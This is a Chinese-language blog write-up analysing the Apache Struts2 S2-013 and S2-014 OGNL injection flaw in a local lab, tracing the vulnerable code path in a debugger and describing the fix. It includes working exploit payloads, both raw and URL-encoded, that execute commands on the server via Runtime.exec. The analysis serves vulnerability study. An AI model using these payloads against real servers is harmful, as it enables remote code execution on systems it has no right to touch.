• S2-013 远程代码执行漏洞检测与利用


    前言

    S2-014是对于S2-013修复不完整的造成的漏洞,会在漏洞分析中提到,所以文本的主要分析的还是S2-013

    而且在分析的时候,发现参考网上资料时对于漏洞触发逻辑的一些错误 至少目前我自己是那么认为的:)

    漏洞环境根据vulhub修改而来,环境地址 https://github.com/kingkaki/Struts2-Vulenv,感兴趣的师傅可以一起分析下

    若有疏漏,还望多多指教

    漏洞信息

    https://cwiki.apache.org/confluence/display/WW/S2-013

    struts2的标签中 <s:a> 和 <s:url> 都有一个 includeParams 属性,可以设置成如下值

    1. none - URL中包含任何参数(默认)
    2. get - 仅包含URL中的GET参数
    3. all - 在URL中包含GET和POST参数

    includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

    此时<s:a> 或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行

    漏洞利用

    不妨先来看下index.jsp中标签是怎么设置的

    <p><s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a></p>
    <p><s:url id="link2" action="link" includeParams="all">"s:url" tag</s:url></p>
    

    然后来测试一下最简单payload ${1+1}(记得编码提交 :)

    http://localhost:8888/link.action?a=%24%7B1%2b1%7D

    就可以看到返回的url中的参数已经被解析成了2

    然后命令执行的payload

    ${#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

    编码后提交

    http://localhost:8888/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27calc%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read%28%23d%29%2C%23out%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23out.println%28%2bnew%20java.lang.String%28%23d%29%29%2C%23out.close%28%29%7D

    漏洞分析

    网上关于S2-013的分析将它的形成归结于

    这里我先说明两点

    • 我分析时的漏洞环境种xwork-core的版本是2.2.3,DefaultUrlHelper.class中的类全部在UrlHelper.class,但是代码逻辑并没有更改
    • 至于漏洞究竟是哪里触发的,可以根据弹出计算器在哪弹出来确定究竟是哪里触发的

    我们可以从一开始的struts2-core-2.2.3.jar!/org/apache/struts2/components/Anchor.class:64中这两句开始关注

    this.urlRenderer.beforeRenderUrl(this.urlProvider);
    this.urlRenderer.renderUrl(sw, this.urlProvider);

    第一句是返回url之前的一些处理,第二句是返回url,从第一句开始打下断点,然后跟进去

    果然还是来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:240parseQueryString方法

    但是可以看到,即使过了网上说的这个触发点,计算器依旧没有弹出

    String translatedParamValue = translateAndDecode(paramValue);
    

    仅仅是做了一个url编码的过程,然后就返回了,那就继续跟下去吧
    最后做完了url的一些预先处理,又回到了之前下断点的下一句

    step into进去之后来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/ServletUrlRenderer.class:39

    public void renderUrl(Writer writer, UrlProvider urlComponent) {
        String scheme = urlComponent.getHttpServletRequest().getScheme();
        if (urlComponent.getScheme() != null) {
            scheme = urlComponent.getScheme();
        }
    
        ActionInvocation ai = (ActionInvocation)ActionContext.getContext().get("com.opensymphony.xwork2.ActionContext.actionInvocation");
        String result;
        String _value;
        String var;
        if (urlComponent.getValue() == null && urlComponent.getAction() != null) {
            result = urlComponent.determineActionURL(urlComponent.getAction(), urlComponent.getNamespace(), urlComponent.getMethod(), urlComponent.getHttpServletRequest(), urlComponent.getHttpServletResponse(), urlComponent.getParameters(), scheme, urlComponent.isIncludeContext(), urlComponent.isEncode(), urlComponent.isForceAddSchemeHostAndPort(), urlComponent.isEscapeAmp());
        } else  ...

    真正触发漏洞在这一个语句里面,不妨跟进去看一下

    来到了struts2-core-2.2.3.jar!/org/apache/struts2/components/Component.class:198

    继续跟进最后一行的那个函数

    来到了struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:49buildUrl函数中

    前面做了一些url的处理,添加一些http(s)://之类的前缀,来到后面之后,116行有这样一句

    if (escapeAmp) {
        buildParametersString(params, link);
    }

    这里才是真正的开始build参数

    继续step into之后struts2-core-2.2.3.jar!/org/apache/struts2/views/util/UrlHelper.class:139

    public static void buildParametersString(Map params, StringBuilder link, String paramSeparator) {
            if (params != null && params.size() > 0) {
                if (link.toString().indexOf("?") == -1) {
                    link.append("?");
                } else {
                    link.append(paramSeparator);
                }
    
                Iterator iter = params.entrySet().iterator();
    
                while(iter.hasNext()) {
                    Entry entry = (Entry)iter.next();
                    String name = (String)entry.getKey();
                    Object value = entry.getValue();
                    if (value instanceof Iterable) {
                        Iterator iterator = ((Iterable)value).iterator();
    
                        while(iterator.hasNext()) {
                            Object paramValue = iterator.next();
                            link.append(buildParameterSubstring(name, paramValue.toString()));
                            if (iterator.hasNext()) {
                                link.append(paramSeparator);
                            }
                        }
                    } else if (value instanceof Object[]) {
                        Object[] array = (Object[])((Object[])value);
    
                        for(int i = 0; i < array.length; ++i) {
                            Object paramValue = array[i];
                            link.append(buildParameterSubstring(name, paramValue.toString()));
                            .....

    取出参数值之后放入了一个数组中,再经过了buildParameterSubstring方法

    buildParameterSubstring方法就在这段代码后面

    private static String buildParameterSubstring(String name, String value) {
        StringBuilder builder = new StringBuilder();
        builder.append(translateAndEncode(name));
        builder.append('=');
        builder.append(translateAndEncode(value));
        return builder.toString();
    }

    也就是这里,这时url解码之后的translateAndEncode(value)才真正的造成了代码的执行,才弹出了计算器

    补一段translateAndEncodetranslateVariable的代码,其实就刚才逻辑分析的下面

    public static String translateAndDecode(String input) {
        String translatedInput = translateVariable(input);
        String encoding = getEncodingFromConfiguration();
    
        try {
            return URLDecoder.decode(translatedInput, encoding);
        } catch (UnsupportedEncodingException var4) {
            LOG.warn("Could not encode URL parameter '" + input + "', returning value un-encoded", new String[0]);
            return translatedInput;
        }
    }
    
    private static String translateVariable(String input) {
        ValueStack valueStack = ServletActionContext.getContext().getValueStack();
        String output = TextParseUtil.translateVariables(input, valueStack);
        return output;
    }

    漏洞修复

    在S2-013中用于验证的poc为

    %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}

    于是官方就限制了%{(#exp)}格式的OGNL执行,从而造成了S2-014

    因为还有%{exp}形式的漏洞,让我们一起看下最终的修补方案

    重点自然是放在了DefauiltUrlHlper.class

    将之前的translateAndEncode更改成了encode

    public String encode(String input) {
        try {
            return URLEncoder.encode(input, this.encoding);
        } catch (UnsupportedEncodingException var3) {
            if (LOG.isWarnEnabled()) {
                LOG.warn("Could not encode URL parameter '#0', returning value un-encoded", new String[]{input});
            }
    
            return input;
        }
    }

    只支持简单的url解码

    之前触发的点也将函数换成了decode

    Reference Links

    https://github.com/vulhub/vulhub/tree/master/struts2/s2-013

    https://cwiki.apache.org/confluence/display/WW/S2-013

    https://cwiki.apache.org/confluence/display/WW/S2-014

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    命令模式
    责任链模式
    代理模式
    享元模式
    195 Tenth Line
    test命令
    read命令
    echo命令
    java反射
    http状态码
  • 原文地址:https://www.cnblogs.com/devi1/p/13486629.html
Copyright © 2020-2023  润新知